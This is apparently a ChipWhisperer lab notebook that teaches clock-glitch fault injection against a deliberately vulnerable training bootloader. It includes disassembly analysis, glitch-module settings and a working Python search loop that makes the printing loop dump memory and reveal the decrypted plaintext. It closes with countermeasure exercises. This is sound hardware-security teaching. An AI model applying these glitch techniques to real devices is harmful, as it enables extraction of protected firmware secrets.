{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Glitch Buffer Attacks\n",
    "\n",
    "Supported setups:\n",
    "\n",
    "SCOPES:\n",
    "\n",
    "* OPENADC\n",
    "\n",
    "PLATFORMS:\n",
    "\n",
    "* CWLITEARM\n",
    "* CWLITEXMEGA"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "This tutorial discusses a specific type of glitch attack. It shows how a simple printing loop can be abused, causing a target to print some otherwise private information. This attack will be used to recover a plaintext without any knowledge of the encryption scheme being used."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "SCOPETYPE = 'OPENADC'\n",
    "PLATFORM = 'CWLITEARM'"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Firmware"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "This section introduces the attack concept by showing some real world examples of vulnerable firmware. Then, it describes the victim firmware that will be used in this tutorial."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Real Firmware"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Typically, one of the slowest parts of an embedded system is its communication lines. It's pretty common to see a processor running in the MHz range with a serial connection of 9.6k baud. To make these two different speeds work together, embedded firmware usually fills up a buffer with data and lets a serial driver print on its own time. This setup means we can expect to see code like:\n",
    "\n",
    "```C\n",
    "for(int i = 0; i < number_of_bytes_to_print; i++)\n",
    "{\n",
    "    print_one_byte_to_serial(buffer[i]);\n",
    "}\n",
    "```\n",
    "\n",
    "This is a pretty vulnerable piece of C. Imagine that we could sneak into the source code and change it to:\n",
    "\n",
    "```C\n",
    "for(int i = 0; i < really_big_number; i++)\n",
    "{\n",
    "    print_one_byte_to_serial(buffer[i]);\n",
    "}\n",
    "```\n",
    "\n",
    "C compilers don't care that `buffer[]` has a limited size - this loop will happily print every byte it comes across, which could include other variables, registers, and even source code. Although we probably don't have a good way of changing the source code on the fly, we do have glitches: a well-timed clock or power glitch could let us skip the `i < number_of_bytes_to_print` check, which would have the same result.\n",
    "\n",
    "How could this be applied? Imagine that we have an encrypted firmware image that we're going to transmit to a bootloader. A typical communication process might look like:\n",
    "\n",
    "1. We send the encrypted image ciphertexts over a serial connection\n",
    "1. The bootloader decrypts the ciphertexts and stores the result somewhere in memory\n",
    "1. The bootloader sends back a response over the serial port\n",
    "\n",
    "We have a pretty straightforward attack for this type of bootloader. During the last step, we'll apply a glitch at precisely the right time, causing the bootloader to print all kinds of things to the serial connection. With some luck, we'll be able to find the decrypted plaintext somewhere in this memory dump."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Building Firmware"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "For this tutorial, a very simple bootloader using the SimpleSerial protocol has been set up. The source for this bootloader can be found in `chipwhisperer/hardware/victims/firmware/bootloader-glitch`. The following commands are used:\n",
    "\n",
    "* `pABCD\\n`: Send an encrypted ciphertext to the bootloader. For example, this message is made up of the two bytes AB and CD.\n",
    "* `r0\\n\\n\\n\\n\\n\\n`: The reply from the bootloader. Acknowledges that a message was received. No other responses are used.\n",
    "* `x`: Clear the bootloader's received buffer.\n",
    "* `k`: See x.\n",
    "\n",
    "The bootloader uses triple-ROT-13 encryption to encrypt/decrypt the messages. To help you send messages to the target, the script private/encrypt.py prints the SimpleSerial command for a given fixed string. For example, the ciphertext for the string `Don't forget to buy milk!` is\n",
    "\n",
    "```\n",
    "p516261276720736265747267206762206f686c207a76797821\\n\n",
    "```\n",
    "\n",
    "Now that we've got some basic knowledge of the target code, build it, then navigate to the `bootloader-glitch` firmware directory:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%%bash -s \"$PLATFORM\"\n",
    "cd ../hardware/victims/firmware/bootloader-glitch\n",
    "make PLATFORM=$1 CRYPTO_TARGET=NONE"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## The Attack Plan"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### The Sensitive Code"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Inside `bootloader.c`, there are two buffers that are used to store most of the important data. The source code shows:\n",
    "```C\n",
    "#define DATA_BUFLEN 40\n",
    "#define ASCII_BUFLEN (2 * DATA_BUFLEN)\n",
    "\n",
    "uint8_t ascii_buffer[ASCII_BUFLEN];\n",
    "uint8_t data_buffer[DATA_BUFLEN];\n",
    "```\n",
    "\n",
    "This tells us that there will be two arrays stored somewhere in the target's memory. The AVR-GCC compiler doesn't usually try too hard to move these around, so we can expect to find them back-to-back in memory; that is, if we can read past the end of the ASCII buffer, we'll probably find the data buffer.\n",
    "\n",
    "Next, the code used to print a response to the serial port is:\n",
    "\n",
    "```C\n",
    "if(state == RESPOND)\n",
    "{\n",
    "\t// Send the ascii buffer back \n",
    "\ttrigger_high();\n",
    "\t\n",
    "\tint i;\n",
    "\tfor(i = 0; i < ascii_idx; i++)\n",
    "\t{\n",
    "\t\tputch(ascii_buffer[i]);\n",
    "\t}\n",
    "\ttrigger_low();\n",
    "\tstate = IDLE;\n",
    "}\n",
    "```\n",
    "\n",
    "This looks very similar to the example code given in the previous section, so it should be vulnerable to a glitching attack. The goal is to cause the loop to continue past its regular limit: `data_buffer[0]` is the same as `ascii_buffer[80]`, so a successful glitch should dump the data buffer for us."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Disassembly"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As a final step, let's check the assembly code to see exactly what we're trying to glitch through. In the same folder as the hex file you built, open the `*.lss` file that corresponds to your target (for example, `bootloader-CWLITEARM.lss`). This is called a listing file, and it contains a bunch of debug and assembly information. Most importantly, it will allow us to easily match the source code to what's in our hex file. Search the file for something close to the vulnerable loop, such as `state == RESPOND`."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Compiler Optimizations"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "While reading the section on the bootloader commands, you may have been surprised to see more than one newline at the end of the respond command (`r0\\n\\n\\n\\n\\n\\n`). Because the response is both so short and always the same length, the compiler will perform loop unrolling. Loop unrolling is an optimization that trades code size for speed by replacing a constant size loop:\n",
    "\n",
    "```C\n",
    "for (int i = 0; i < 3; i++) \n",
    "    do_something();\n",
    "```\n",
    "\n",
    "by a repeated sequence of the loop's operations:\n",
    "\n",
    "```C\n",
    "do_something();\n",
    "do_something();\n",
    "do_something();\n",
    "```\n",
    "\n",
    "For a small number of repititions, size-speed tradeoff is skewed towards the latter, making it very hard to get the compiler not to perform the optimization, thus we simply increase the size of the loop. Most bootloaders have multiple different reponses with varying length, so this isn't a typical obstacle you would face, but it is important for this situation.\n",
    "\n",
    "The [Wikipedia page on loop unrolling](https://en.wikipedia.org/wiki/Loop_unrolling) contains more information on the topic if you're like to learn more."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### XMEGA Disassembly"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "After searching the file, you should see something like this:\n",
    "\n",
    "```\n",
    " 38c:\t89 91       \tld\tr24, Y+\n",
    " 38e:\t0e 94 38 02 \tcall\t0x470\t; 0x470 <output_ch_0>\n",
    " 392:\tf0 e2       \tldi\tr31, 0x20\t; 32\n",
    " 394:\tc4 38       \tcpi\tr28, 0x84\t; 132\n",
    " 396:\tdf 07       \tcpc\tr29, r31\n",
    " 398:\tc9 f7       \tbrne\t.-14     \t; 0x38c <main+0xbc>\n",
    "\n",
    "```\n",
    "\n",
    "This is our printing loop in assembly. It has the following steps in it:\n",
    "\n",
    "* Look at the address `Y` and put the contents into `r24`. Increase the address stored in `Y`. (This is the i++ in the loop.)\n",
    "* Call the function in location `0x470`. Presumably, this is the location of the `putch()` function.\n",
    "* Compare `r28` and `r29` to `0x84` and `0x20`. Unless they're equal, go back to the top of the loop.\n",
    "\n",
    "There's one quirk to notice in this code. In the C source, the for loop checks whether `i < ascii_idx`. However, in the assembly code, the check is effectively whether `i == ascii_idx`! This is even easier to glitch - as long as we can break past the `brne` instruction once, we'll get to the data buffer."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Arm Disassembly"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "After searching the file, you should see something like this:\n",
    "\n",
    "```\n",
    " 8000268:\t5d28      \tldrb\tr0, [r5, r4]\n",
    " 800026a:\t3401      \tadds\tr4, #1\n",
    " 800026c:\tf000 f8f2 \tbl\t8000454 <putch>\n",
    " 8000270:\t2c08      \tcmp\tr4, #8\n",
    " 8000272:\td1f9      \tbne.n\t8000268 <main+0x64>\n",
    "```\n",
    "\n",
    "We can break this assembly down into the following steps:\n",
    "\n",
    "* Load the character we want to print into `r0` (`r5` contains the address of `ascii_buffer`, while `r4` is our loop index `i`)\n",
    "* Add 1 to `r4` (`i`)\n",
    "* Call `putch`\n",
    "* Compare `r4` to 8 (8 is always the value of `ascii_idx`)\n",
    "* Branch back to the beginning of the loop if `r4` and 8 aren't equal\n",
    "\n",
    "There's one quirk to notice in this code. In the C source, the for loop checks whether `i < ascii_idx`. However, in the assembly code, the check is effectively whether `i == ascii_idx`! This is even easier to glitch - as long as we can break past the `brne` instruction once, we'll get to the data buffer."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## The Attack Script"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Setup"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we know what our target is, we can start creating our attack script. Basic setup is the same as usual:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%run \"Helper_Scripts/Setup_Generic.ipynb\""
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "fw_path = \"../hardware/victims/firmware/bootloader-glitch/bootloader-{}.hex\".format(PLATFORM)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "cw.program_target(scope, prog, fw_path)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "And setup the glitch module:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if SCOPETYPE == \"OPENADC\":\n",
    "    scope.glitch.clk_src = 'clkgen'\n",
    "    scope.glitch.trigger_src = 'ext_single'\n",
    "    scope.glitch.repeat = 1\n",
    "    scope.glitch.output = \"clock_only\"\n",
    "    scope.io.hs2 = \"glitch\"\n",
    "    if PLATFORM == \"CWLITEARM\":\n",
    "        scope.glitch.offset = -37.9\n",
    "        scope.glitch.width = -7\n",
    "    elif PLATFORM == \"CWLITEXMEGA\" or PLATFORM == \"CW303\":\n",
    "        scope.glitch.offset = -4.3\n",
    "        scope.glitch.width = 1.56\n",
    "elif SCOPETYPE == \"CWNANO\":\n",
    "    pass #do this later instead "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Communicating With Bootloader"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "print(scope)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we have our setup done, let's work on communicating with the bootloader. There's a few ways to do this, but the easiest is probably to use `target.write()` to send our text. Remember, to get to the print buffer, we need to send some `rot13` encoded text. For this example, we'll use `Don't forget to buy milk!`, whose `rot13` encoding is `516261276720736265747267206762206f686c207a76797821`.\n",
    "\n",
    "Let's also change the ADC clock from being x4 of the target clock to being x1. This way, we can easily use the ADC module (in particular `scope.adc.trig_count`) to see how long sending the response takes."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if SCOPETYPE == \"OPENADC\":\n",
    "    scope.clock.adc_src = \"clkgen_x1\"\n",
    "    \n",
    "target.write(\"p516261276720736265747267206762206f686c207a76797821\\n\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Next, let's send the command to the bootloader, observe the response, and measure how long it took. Unfortunately, the CWNANO board doesn't include this functionality. Instead, if you have an oscilloscope or logic analyzer on hand, you can use one of these instead to measure how long the trigger was high for."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import time\n",
    "time.sleep(0.05)\n",
    "target.flush()\n",
    "scope.arm()\n",
    "target.write(\"p516261276720736265747267206762206f686c207a76797821\\n\")\n",
    "time.sleep(0.1)\n",
    "scope.capture()\n",
    "response = target.read(timeout=50)\n",
    "print(response)\n",
    "response_time = 0\n",
    "if SCOPETYPE == \"OPENADC\":\n",
    "    response_time = scope.adc.trig_count\n",
    "    print(\"The response took {} cycles\".format(response_time))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "In this case, of the STM32F3 target, you should have an active trigger count of roughly 17014 cycles. Remember, we want to glitch the final few instructions of the loop, so our glitch point will be just before the end (say somewhere in the last 50 cycles). Some targets have better defined ranges where the glitch happens (the STM32F3, for example, always happens 21 cycles before the trigger goes low). We don't have this information for the CWNANO, but it should be about the same (say 17020 cycles):"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if SCOPETYPE == \"CWNANO\":\n",
    "    response_time = 17020\n",
    "if PLATFORM == \"CWLITEARM\" or PLATFORM == \"CW308_STM32F3\":\n",
    "    ext_range = range(response_time - 22, response_time - 19)\n",
    "elif PLATFORM == \"CWLITEXMEGA\" or PLATFORM == \"CW303\":\n",
    "    ext_range = range(response_time - 15, response_time - 0)\n",
    "else:\n",
    "    ext_range = range(response_time - 40, response_time)\n",
    "print(ext_range)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Glitch Loop "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We're almost ready to create our glitch loop! Before we do, there's a few things to keep in mind. The first is dealing with crashes. As you might expect, we'll often crash the target instead of getting the glitch we want. In this case, we'll need to reset the target before we try communicating with the bootloader. Luckily we can tell if we crashed the target by looking at the state of the trigger pin: if the target crashes, it will never go low (this also happens with a successful glitch, but we'll be checking for success in the response, so this isn't much of an issue). We can check this via `scope.adc.state`."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "This part is optional, but to make the response easier to read, we'll also want to do some parsing on the response text, since the response won't all be in ASCII text."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def my_print(text):\n",
    "    for ch in text:\n",
    "        if (ord(ch) > 31 and ord(ch) < 127) or ch == \"\\n\": \n",
    "            print(ch, end='')\n",
    "        else:\n",
    "            print(\"0x{:02X}\".format(ord(ch)), end='')\n",
    "        print(\"\", end='')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Our last step before proceeding to the attack loop is to active the glitch module:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if SCOPETYPE == \"OPENADC\":\n",
    "    scope.glitch.output = \"clock_xor\""
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We can finally proceed on to our actual loop. Our loop will have the same basic idea as the one from `Fault_1`: we'll need to iterate through ext_offset, offset, and width to find the right settings for a glitch.\n",
    "\n",
    "As was mentioned earlier, we'll also need to check for a successful glitch to avoid resetting while we're still receiving data. This will also enable us to read the full serial output, since the target will be sending back a lot of data (much more than we can receive in one `ser.read()`). \n",
    "\n",
    "Careful inspection of the source reveals that most of what we sent to the device is still in the `ascii_buffer` (with the first 8 or so characters being overwritten). That means we can check for one of the characters after the overwritten part (say `\"7\"`).\n",
    "\n",
    "After we're sure we have a glitch, we can just keep looking for more data and printing it.\n",
    "\n",
    "**Make sure you update the values in the `external offset range` call to reflect what you got earlier in the tutorial**"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "from tqdm import tqdm_notebook, tnrange\n",
    "from collections import namedtuple\n",
    "\n",
    "reset_target(scope)\n",
    "broken = False\n",
    "N = 0\n",
    "\n",
    "for k in tnrange(0, 40, desc=\"width\"):\n",
    "    scope.glitch.width_fine = k\n",
    "    if broken:\n",
    "        break\n",
    "    for j in tnrange(0, 40, leave=False, desc=\"offset\"):\n",
    "        scope.glitch.offset_fine = j\n",
    "        if broken:\n",
    "            break\n",
    "        for i in tqdm_notebook(ext_range, leave=False, desc=\"ext_offset\"):\n",
    "            N += 1\n",
    "            if scope.adc.state:\n",
    "                #trigger never went low, target probably crashed\n",
    "                reset_target(scope)\n",
    "\n",
    "            scope.glitch.ext_offset = i\n",
    "            scope.arm()\n",
    "\n",
    "            target.write(\"p516261276720736265747267206762206f686c207a76797821\\n\")\n",
    "            ret = scope.capture()\n",
    "            if ret:\n",
    "                reset_target(scope)\n",
    "                continue\n",
    "            \n",
    "            time.sleep(0.05)\n",
    "            output = target.read(timeout=2)\n",
    "\n",
    "            #check if we were successful\n",
    "            if \"7\" in output:\n",
    "                print(\"Glitched!\\n\\tExt offset: {}\\n\\tOffset: {}\\n\\tWidth: {}\".format(i, scope.glitch.offset, scope.glitch.width))\n",
    "                my_print(output)\n",
    "                broken = True \n",
    "                for __ in range(500):\n",
    "                    num_char = target.in_waiting()\n",
    "                    if num_char:\n",
    "                        output = target.read(timeout=50)\n",
    "                        my_print(output)\n",
    "                time.sleep(10)\n",
    "                break\n",
    "\n",
    "            if scope.adc.state:\n",
    "                #trigger never went low, target probably crashed\n",
    "                reset_target(scope)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "With any luck, you should see a whole bunch of text printed to the screen. Successful glitches might not happen every time, so you may need to rerun the loop a few times.\n",
    "\n",
    "You should be able to the plaintext near the beginning of the output! The data buffer has successfully been printed to the serial port, allowing us to see the decrypted text with no knowledge of the algorithm. Now that we've got a successful glitch, let's disconnect the scope and target:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.dis()\n",
    "target.dis()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Ideas"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "There's a lot more that can be done with this type of attack..."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Safer Assembly Code"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "You may have been surprised to see that the assembly code uses a `brne` instruction to check if the loop is finished - after all, we used a less-than comparison in our C source code! Try changing this line to use a more prohibitive loop. Here's how you might do this:"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Volatile Variables"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "The reason why the original assembly code used the brne instruction is because GCC is an *optimizing compiler*. The compiler doesn't directly translate the C source code into assembly instructions. Instead, it tries to determine if any of the code can be modified to make it faster or more compact. For instance, consider the loop:\n",
    "\n",
    "```C\n",
    "for(int i = 0; i < 10; i++)\n",
    "{\n",
    "    if(i < 20)\n",
    "        printf(\"%s\", \"Less\");\n",
    "    else\n",
    "        printf(\"%s\", \"Greater\");\n",
    "}\n",
    "```\n",
    "\n",
    "If you take a careful look at this code, you'll notice that the following loop will produce the same output:\n",
    "\n",
    "```C\n",
    "for(int i = 0; i < 10; i++)\n",
    "{\n",
    "    printf(\"%s\", \"Less\");\n",
    "}\n",
    "```\n",
    "\n",
    "However, this second loop is smaller (less code) and faster (no conditional jumps). This is the kind of optimization a compiler can make.\n",
    "\n",
    "There are several ways we can stop the compiler from making some of these assumptions. One of these methods uses volatile variables, which look like\n",
    "\n",
    "```C\n",
    "volatile int i;\n",
    "```\n",
    "\n",
    "A volatile variable is one that could change at any time. There could be many reasons why the value might change on us:\n",
    "\n",
    "* Another thread might have access to the same memory location\n",
    "* Another part of the computer might be able to change the variable's value (example: direct memory access)\n",
    "* The variable might not actually be stored anywhere - it could be a read-only register in an embedded system\n",
    "\n",
    "In any case, the `volatile` keyword tells the compiler to make no guarantees about this variable.\n",
    "\n",
    "Try changing the bootloader's source code to use a volatile variable inside the loop. What happens to the disassembly? Is the loop body longer? Connect to the target board and capture a power trace. Does it look different? You'll have to find a new *Ext Trigger Offset* for the glitch module. Can you still perform the attack? Is it feasible to use this fix to avoid glitching attacks?"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Tests"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "assert (broken == True), \"Failed to break bootloader in {} glitches\".format(N)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "language_info": {
   "name": "python",
   "pygments_lexer": "ipython3"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
